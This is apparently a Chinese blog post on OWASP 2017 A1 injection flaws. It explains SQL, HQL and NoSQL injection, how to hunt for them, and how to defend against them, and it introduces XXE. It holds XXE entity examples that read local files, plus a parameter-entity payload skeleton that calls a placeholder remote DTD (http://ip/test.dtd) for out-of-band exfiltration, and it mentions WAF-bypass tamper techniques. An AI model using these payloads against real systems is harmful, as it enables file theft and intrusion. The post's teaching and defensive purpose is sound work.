OWASP-2017-A1注入类

将不受信任的数据作为命令或查询的一部分发送到解析器时,会产生诸如SQL注入、NoSQL注入、OS注入和LDAP注入的注入缺陷。攻击者的恶意数据可以诱使解析器在没有适当授权的情况下执行非预期命令或访问数据。

其实OWASP所定义的A1注入类是狭义的定义,因为考虑到某些注入类漏洞的特殊性和独立性,将其划为其他类漏洞。

广义上来说2017版本定义的A4-XXE(XML外部实体注入)、A8-反序列化(代码注入)等也应当属于注入类(个观,望指正),我这里就把XXE放在注入类里,不单独写。

A1-SQL注入

SQL注入是对于sql语句而言的,本质上可以理解为一种sql语句的溢出,攻击者利用溢出的恶意sql语句进行数据库操作。产生的原因是基于某些功能需要应用程序对接数据库,进行增删改查,没有做好充分全面的过滤或者预编译(前面的博文有提到,本质是转义)导致的。

1.1-SQL注入分类(基于sqlmap)

注入结果分类:布尔盲注、显错、堆查、联查、时间盲注

注入参数位置分类:POST、GET、COOKIE、其他位置

注入数据类型分类:字符型、整形

其他特殊利用方式类型:二次注入、宽字节注入、无回显盲打等

1.2-SQL注入漏洞挖掘

1.2.1-黑盒

SQL注入漏洞的特性规则较为明显,通常可以用多种既定的payload进行探测判断存在与否。存在位置主要位于功能需要的数据库交互点,所以对此漏洞的挖掘需要详细了解业务功能和各参数提交点(包括cookie和其他位置的参数)。

PAYLOAD:各手注文章、利用工具、web应用扫描工具。

存在位置:所有与数据库交互参数中。

绕过技巧:核心思想是先保守探测,确定过滤方式,寻找相应中间件特性、数据库特性、应用程序特性、协议特性等绕过方式。利用方式可以通过手写tamper、sqlmap中自带tamper、手写特定注入脚本、协议分片、多次注入、特定函数等形式绕过(值得注意的是有的应用程序中加了基于sqlmap等探测扫描工具的banner识别过滤,多需要手写python脚本实现)。

1.2.2-白盒

SQL注入漏洞在白盒中规则更加明显,通常可以用代码审计扫描工具和人工审计的方式全部找出。存在的位置根据应用语言特性不同位置稍有偏差,基本可在开发工具中正则字符串搜索注入类关键字或可通过跟踪数据流,找出某交互数据的sink点。

拼接点关键字搜索:正则、特定语句、变量、框架存在位置(例如dao层)等。

过滤有效性审计:查看配置文件中或应用程序中过滤是否完善,尝试黑盒绕过验证。

1.3-SQL注入漏洞的防御

JAVA中可使用预编译处理,有效完善的过滤(黑白名单),esapi等防止sql注入,如何预编译以及预编译原理我之前的博客中有介绍。过滤技巧无非就是过滤常见sql注入关键字符和字符串,整形数据过滤可以参考官方预编译处理方法,强制的类型转换处理。esapi是owasp官方提供的安全接口,可参考相关文档使用,原理类似预编译及过滤。

PHP中也有类似接口防御sql注入,或采用过滤技术。

其他技巧就是不要给应用用户操作数据库过高权限及采用web应用防火墙(类似产品均可,基于正则过滤规则型产品均存在被绕过的可能性)等手段防御sql注入。

1.4-其他类SQL注入

其他类sql注入如ssh框架中的hql注入,新兴数据库技术nosql,数据接口或参数处理方式等,均有自身技术更新带来的新的sql注入问题。

1.4.1-HQL注入

Hibernate HQL注入攻击属于广义上SQL注入的一种,只不过HQL查询并不直接发送给数据库,而是由hibernate引擎对查询进行解析并解释,然后将其转换为SQL。这样就导致了注入模式比较有限,不可以用传统的sql语句的溢出进行攻击,也就是如联查、堆查、数据库系统函数等可以使用的数据库语句特性去注入出相关数据。

但是新兴技术的产生必然导致新问题的产生,本文不详细介绍HQL查询特性,在遇到hibernate时查阅相关利用技巧即可,需要基于一些hql特性的利用。至于防御的话,还是基于过滤或转义,大多还是参数化,使用占位符?的形式去处理。

1.4.2-NoSQL注入

NoSql据说一开始的开发人员号称完全避免了sql注入的漏洞,因为不存在数据库。

实在是很少遇到(是从没遇到过),可以参考大佬博客:https://www.cnblogs.com/wangyayun/p/6598166.html
也是类似使用NoSql特性和相关技巧去注入溢出一些恶意代码。(安全总是跟着应用走的,等nosql使用的多了,自然研究人员和新的利用技巧就越来越多。)

1.4.3-特殊数据类型或接口中的SQL注入

特殊数据类型和接口中使用的SQL注入主要想记录两点,一种是特殊的数据提交形式中的sql注入,比如xml中的sql注入,json数据中的sql注入,其实本质都一样。

另一种就是接口中存在的sql注入,比如某开放的SOAP中或其他类似的点,中间也可能会存在sql注入问题,需要注意。

A1-XML类注入(XXE、xml、xpath)

2.1-XXE

xxe是17年OWASP top10中的一个,我直接放到了A1里面。

2.1.1-基础知识

XML文档一共由三部分组成:XML声明,文档类型定义(DTD),文档元素。如下所示:

<?xml version='1.0'" ?>//XML声明
<!DOCTYPE root [
<!ELEMENT root (id,name,pass)>
]>//文档类型定义
<root>
<id>1</id>
<name>silencediors</name>
<pass>123456</pass>
</root>
//XML文档元素

其中文档类型定义声明了元素中根节点是root,相应其他节点是id、name、pass。

<!DOCTYPE root [
<!ELEMENT root (id,name,pass)>

文档类型定义(DTD)中默认提供了我们可以引入相应内外实体进行灵活处理XML文档类型的功能机制。

实体这个概念比较抽象,不如换个称呼,叫"东西"即可,在XML中作为一个动态参数,不如理解成数学中的F(x)。

下面的分类方式,注意使用位置和引用位置的区别,本文中描述的引用位置指的是引用的实体,使用位置指的是调用引用的实体内容(太难了。。。)

引用位置分类:
实体从引用位置可以分为两类:外部实体和内部实体。

内部实体

内部实体是指在XML文档内进行定义的实体,如下例子:

<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe "test" >]>
<creds>
<user>&xxe;</user>//内部引用实体xxe,输出内容为"test"
<pass>mypass</pass>
</creds>

外部实体

因为内部实体的定义是静态的,为了维护的方便,引入了外部实体的概念,可以在DTD中引入外部dtd,利于动态更新。引用方式如下:

<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///c:/test.dtd" >]>
<creds>
    <user>&xxe;</user>
    <pass>mypass</pass>
</creds>

这样就引入了系统文件C:\test.dtd文件,日后要进行批量更新dtd内容只需要在test.dtd中操做即可,增加了便利性。

使用位置分类:
实体从使用位置可以分为一般实体和参数实体。

一般实体

一般实体的使用位置为XML元素中,通常用&xxe;进行使用,如下:

<?xml version="1.0" encoding="utf-8"?> 
<!DOCTYPE updateProfile [<!ENTITY file SYSTEM "file:///c:/test.dtd"> ]> 
//引用的外部实体
<updateProfile>  
    <firstname>Joe</firstname>  
    <lastname>&file;</lastname> //使用位置 
    ... 
</updateProfile>

参数实体

参数实体是指在DTD中使用的实体,使用形式%xxe;引用形式<!ENTITY % remote SYSTEM "http://ip/test.dtd">可以举例如下:

<!DOCTYPE convert [ 
<!ENTITY % remote SYSTEM "http://ip/test.dtd">
%remote;%int;%send;
]>
2.1.2-漏洞挖掘与利用

漏洞挖掘

XXE的存在位置大多在XML文件上传更新XML文件、SAML登录或者SOAP和其他类似的基于XML形式参数的POST body处。黑盒挖掘需要注意此类功能点和利用漏洞扫描工具或抓包工具抓取数据传输request包并进行筛查。

白盒审计同样需要注意此类功能点和防御措施的有效性,即有没有禁用外部实体功能比如dbf等相关配置正确。

利用方式

简单介绍,具体攻击形式参考网上多种文档。

有回显:一般实体的有回显攻击造成的系统文件读取、内网探测(SSRF)、DOS攻击、命令执行、文件上传。注意CDATA的使用去读取有特殊符号的文件。

无回显外带:外带必须要利用参数实体的特性-可以在DTD文件中套接引用其他实体,在XML的请求中外带一个向外的反向连接请求。可以实现的攻击方式比较开放,因为如果是SSRF攻击形式和这种外带的形式理论上可以模拟任何攻击。。。。。。。。建议参考其他大佬写的文章,不献丑了。

2.1.3-防御方法

禁用DTD或者禁用一般实体&&参数实体(注意&&),如下图
在这里插入图片描述

A1-其他类注入(LDAP、OGNL等)

发布了7 篇原创文章 · 获赞 7 · 访问量 2938

猜你喜欢

转载自blog.csdn.net/silencediors/article/details/104111390